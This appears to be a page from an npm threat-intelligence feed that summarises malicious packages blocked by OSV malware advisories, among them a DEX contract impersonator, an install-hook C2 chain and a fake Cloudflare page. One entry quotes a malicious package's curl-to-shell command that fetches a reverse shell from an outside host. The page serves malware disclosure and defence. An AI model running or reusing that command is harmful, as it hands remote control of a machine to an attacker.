Loading npm security reports…
Skip to main contentMalware2026-08-12 13:15Remote Code Execution2026-08-12 13:14Malware2026-08-12 13:10Malware2026-08-12 13:10
npm threat feed
npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 380
Updated 19 Oct 2026, 16:35 UTC. Ordered by latest scan.
camelot-ammv2-core@1.0.0
OpenSSF/OSV malware advisory MAL-2026-13772 blocks this version. camelot-ammv2-core is a malicious npm package that impersonates Camelot DEX's AMM v2 core contracts. It carries no legitim...
dakumangalsingh@1.1.0
This is a concrete install-triggered C2 and remote-control chain, not merely a bundled desktop application. The lifecycle hook runs it without an explicit user command.
prezdentkxheiw@1.0.1
OpenSSF/OSV malware advisory MAL-2026-13833 blocks this version. The package contains only index.html (declared as main) and package.json. The HTML impersonates a Cloudflare 'Just a momen...
internallib_v164@1.0.9
OpenSSF/OSV malware advisory MAL-2026-13764 blocks this version. index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a rev...